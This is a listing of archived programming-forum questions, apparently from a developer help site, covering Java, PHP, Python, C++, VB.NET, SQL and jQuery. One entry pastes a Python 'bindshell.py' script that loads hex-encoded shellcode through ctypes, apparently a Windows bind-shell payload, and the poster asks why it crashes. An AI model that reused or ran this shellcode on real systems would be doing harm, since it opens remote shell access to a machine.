199,113 Archived Topics
Remove Filter ![]() | |
You will need to check that the four parameters entered by the user are blank, so you will do the same as you did before but four times. To Identify if the User Presses <enter> You have written a JAVA program that creates a CD object with four instance variables, … | |
These files'print new.exe.config' and 'print new.vshost.exe.config' are created Automatically after Restart my system(Not Properly Shutdown).After open the project and run.It shows Error Like 'MY ATTACHMENT' | |
Hi Perl Experts, I'm new for perl. Thanks to give some time for my question.I have extract shared positions between two files and now I have one file like following. File is tab delimited Chr1 position QUAL GT_1 GT_2 1. chr1 478493 595 G/T G/C 2. chr1 879243 700 A/T … | |
I was trying to come up with a dictionary of functions, but get it not to work. | |
![]() | vi is basically used independently .....but what if vi commands are used in shell script ? I am trying to accomplish functionality of mv command using a shell script. what I want is to yank whole text of one file1 and paste it in file2. this all should happen in … |
Hi friends, Can any one tell me the java program that how to convert Octa Decimal to HexaDecimal without using inbuild functions. I tried a lot but not successful. Please Please Please post the program... Thanks in advance.. | |
Hi, I am using timepicker. Onclick of textbox, timepicker open up with time mentioning 12am by default. but when I click on ok 12.00 am doesn't comes up in the textbox. The only way it comes up is when I slide it to certain time and back to 12.00 am. … | |
please help me out, i want a code of algo by i can find out the solution, i know hoe to multiply 2x2 or 3x3 matrices but i want user friendly code in which user can chose option. help me please its in my project. | |
Hi, i'm trying to do clean url's using .htaccess but i'm having problems. Here i have my .htaccess: <IfModule mod_rewrite.c> RewriteEngine on RewriteRule ^([a-z]+)\/([0-9]+)\/?$ parameter_letter_and_number.php?param=$1¶m2=$2 [NC] RewriteRule ^([a-z]+)\/?$ $1.php [NC] RewriteRule ^([0-9]+)\/?$ parameter_number.php?param=$1 [NC] RewriteRule ^([0-9_]+)\/?$ parameter_number_and_underscore.php?param=$1 [NC] </IfModule> Here is my parameters page so i can test: <!DOCTYPE HTML> … | |
I have this code but I only eccepts one client at a time: #include <iostream> #include <conio.h> #include <winsock2.h> #include <string> using namespace std; int main() { WSADATA wsadat; WORD rVersion; rVersion = MAKEWORD(2,0); if(WSAStartup(rVersion, &wsadat) != NO_ERROR) { cout<<"WSA initialization failed.\n"; WSACleanup(); return 1; } //Creating the welcome socket … | |
Hi all! I'm stuck somewhere with starting a process from vb.net. I want to start a mysqldump process from my vb.net. This code works perfect if I run it from windows command prompt: "C:\Program Files\MySQL\MySQL Server 5.5\bin\mysqldump.exe" --user=root --password=mypassword --host=localhost --port=3306 --database sakila > "C:\backup\sakilabackup.sql""" Then I took it to … | |
Hello. I have been looking long and hard for an image library that meets these criteria that I have for pretty much any library I will use (with some obvious exceptions): A) Cross-Platform (If at all possible) B) Weightless (or nearly weightless) C) Stand-alone (I hate having to include DLLs … | |
I'm having trouble with a binary tree algorithm. A test program I wrote calls for the top node to only be altered in another method outside main (A simple guessing/learning game scenario). I wrote a smaller test of that exercise here: #include <stdlib.h> #include <stdio.h> #include <time.h> struct binary { … | |
Hi I'm doing a search function in PHP from an sql database. It was working before and i have no idea what happend but when i search now no results are found, but before the search it shows all the records, so there is a connection with the database. I … | |
Hi, I made a page to show the information of the applications I apply and the interviews I made for selected applications and I use the inner join and left join to display data from different tables. This week I add another table to enter in it the comments. I … | |
Hello. Could somebody explain why this code snippet is not working? The arrow (<----) points to where it's going wrong. It goes wrong when building, with the error of: "An error occurred creating the form. See Exception.InnerException for details. The error is: Index was out of range. Must be non-negative … | |
THIS IS THE QUESTION. 1- The user would enter how many minutes he/she would like to park in the parking lot. 2- The program would output the parking cost. 3 - The rate charge by the parking lot is as follows First 3 hours - RM4/Hour Hours 9 onwards - … | |
[code]#include <iostream> #include <fstream> #include <conio.h> #include <ctime> using namespace std; //////////////////////////////////////////////////////////////////////////////// class account{ public: account(){ i = 0; balance = 0; transaction_during_one_day = 0; one_month_balance = 0; minimumBalance = 99999999999999; startTime = clock(); } //```````````````````````````````````````````````````````````````````````````````````````````````` void depositBalance(){ cout << "Enter Amount to Deposit: "; cin >> depositAmount; balance += … | |
Hello. After reading other threads that inut from a text file to a basic array I do not understand how to apply it to a 2d array. I dont quite understand what I need to do to make it read in the data properly. This is what I have so … | |
I have had a hard time setting up OpenGL to work with Visual Studio 2010,but no luck so far.I included `glut.h`,`gl.h`.I have linked the requisite `.lib` files in the Project Properties,but still I get this error `error LNK2019: unresolved external symbol _glutMainLoop referenced in function _main` ind six more like … | |
Ok, so I'm not having a problem but I didn't know where else to place this question. I'm just now "re-learning" C++, I never got into GUI programming before and it's been almost 4 years since I last touched this language. Anyways, my question is simply, do you code a … | |
Hello Im using the FileUtils.copyDirectory method but it gives me the error of "Failed to list contents of foldername". I know the folder exists and I can write there because creating a file works. What could be wrong? | |
I having soap request and response xml in seperate file. i need to parse it and get the data from soap xml file. using C program I know it is possible with libxml2. Is it there any other way to parse ? Is there any facility available in gsoap to … | |
With the following text file $string = '1) The most important feature of spiral model is: requirement analysis. Risk management. quality management. configuration management 2) The worst type of coupling is: Data coupling. control coupling. stamp coupling. content coupling 3) One of the fault base testing techniques is: Unit testing. … | |
Hi, I've problem on the coding to save form values and display on the next page (without database). The code shown here is inside "catalog.html" Onclick image, the input will be saved and display on the next page i.e. "cart.html" I don't need a database. Just temporary save like storing … | |
Dear, I have a problem..... i am new in this field and making a Dashboard My question is that how i get selected Gridviews from list box and display in new Page | |
how to set the text with image in asp.net? I mean how to set start three or four lines with the left/right side of image and next lines onwards? Please give me the code. i need it immediately. | |
i am using xammp database. and i want to get last ID from my database so that i can insert new stuff in it. the code below doesnt get me the last it. its prints it is adding one next to last it. ex 7, 71, 711, 7111, 71111, but … | |
Hi. I have a Foo class that stored a dictionary attribute called _data. I'd like the Foo class to have a dictionary interface, and defer most basic dictionary operations down to the _data attribute. I am currently overwriting the magic methods one by one: def __getitem__(self, item): return self._data[item] def … | |
Hi all i have this code that will search a record from the database <?php define ('DB_NAME', 'try1'); define ('DB_USER', 'root'); define ('DB_PASSWORD', ''); define ('DB_HOST', 'localhost'); $link = mysql_connect(DB_HOST, DB_USER, DB_PASSWORD); if (!$link) { die('Could not connect: ' . mysql_error()); } $db_selected = mysql_select_db(DB_NAME, $link); if (!$db_selected) { die('Can't … | |
I am currently working on a translator which translates one document from English to German, I had created it as a GUI application using Tkinter and python 2.7, Here I am facing some problems like 1. Assume that if a person uploads a document 'samp.txt' in the using the upload … | |
Hi there, Pretty new to PHP and having a problem when deleting data from my MySQL Table after populating it into a listbox, seletcing it and using a button to delete the selected row. Heres the code: <?php //create and execute query $query = 'SELECT product_ID FROM products ORDER BY … | |
Hi Im working with a project, simple IM for our office... I have a Table in sql with column Status, if a user opens this application, the status column changes from 0 to 1, if it closes this app, the status turn back to 0. On my form load event, … | |
I am making an examination system desktop application in Java Swing. I have a frame named 'show_class_question' frame. This frame is used to display questions and four options from database. Whenever user clicks 'Next' button I am calling this same frame (show_class_question) again and agian from itself (self - refrencing) … | |
I have finaly completed the demos of my webpage project. But there is one things that I don't know how to implement. basicly a basic input box is: <form> <input type="text" class="my_Text_box"/> </form> What I need thow is an input box of a certain widht, hieght. And that will take … | |
Hi to all, I need to print a form in vb.net,but the problem is my form size is 1382, 784.If i print a form means it cuts other side..Any idea or reference link to print a form in full size are appreciated. | |
Hi there. I am fairly new with python and programming altogether. I'm having a problem dividing elements of two lists, and appending the results to a new list. The problem is, the second list may contain a zero, and obviously we can't divide by zero. If it happens that we … | |
How do I use the jQuery.noConflict(); with this? <meta charset="utf-8" /> <link rel="stylesheet" href="http://code.jquery.com/ui/1.10.2/themes/redmond/jquery-ui.css" /> <script src="http://code.jquery.com/jquery-1.9.1.js"></script> <script src="http://code.jquery.com/ui/1.10.2/jquery-ui.js"></script> <script> $(function() { $( "#tabs1, #tabs2" ).tabs( { show: function(event, ui){ // check if is "mappanel" and "map" is empty if (ui.panel.id == 'mappanel' && $('#map').is(':empty')) { // load map var … | |
hello to every one I have following code and it simple example of timer ..and it should appear alert after 3 seconds but this does not happening .. any help <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Paper.aspx.cs" Inherits="JQueryAjax.Paper" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head runat="server"> … | |
Hi I get this error when I run bindshell.py ? line 29 is shell() "Traceback (most recent call last): File "1-bindshell.py", line 29, in <module> shell() WindowsError: exception: access violation writing 0x00000000022295A0" from ctypes import * shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68" "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01" "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50" … | |
Hi Guys I've got a slight problem and was wondering if anyone could help. I've been asked to create an online sign up sheet system. So far I have a from which enters the stuff i need to a table in a SQL database and creates a new html page … | |
Windows Application Form I have a user control called 'ucForm', this 'ucForm' have a button to pop out a windows called 'pForm', I want to code it like this, when I press the 'Next' button it will close the 'pForm' and pass the textbox value in 'pForm' to 'ucForm' textbox. … | |
I need to validate that my textbox contains a first and last name. That it only has alphabet letters and upper and lower case. I know normally names could have other charaters but for this purpose I need them only to have letters. Regular expression can not be used.... If … | |
Helo , I am working actualy on a function that delete a row from a table in a database , it works good with this python code : def supprimer(): global rows global element global listelement idsupprvar = idsuppr_entry.get() db = MySQLdb.connect(host = "localhost", user = "user", passwd = "123456",db … | |
I am currently working on a big webpage project. I basicly need to create webpage that one can create your account with. I have the HTML part covered. I need to make a script in the client side of the webpage so that it will send the information e.g. First … | |
def GetMemory(title, FSB1, FSB2, FSB3, Rover): word = raw_input("Enter the number of words you want to allocate: ") print "GET_MEMORY IS RUNNING......." print "Initial FSB list" Print (title, fsb1, fsb2, gsb3, rover) if int(word) <= fsb1[2]: # Size of area being returned fsb[2] = fsb[2]-int(word) fsb[1] = fsb[1]+int(word) rover = … | |
CAn i use 'waitfor' in t sql in sql server 2012 to wait in terms of days? eg. Wait three says after an event to do something else? Thankx in advance | |
hai every one , i have problem with order by decimal number I have revision number column it contains revision number like 1, 2, 2.1, 2.2, 2.3 ...... 2.10 2.11 ... and am trying to order by revision it's giving sort order like 1, 2, 2.1 2.10 2.11 ... 2.2 … | |
Group, I've learned to find the index number of a specific character within a string by writing dIndex = myText.IndexOf("|") Obviously, this start counting left to right. But I'd like to do the same but start counting from the right side of the string to the left to find the … |
The End.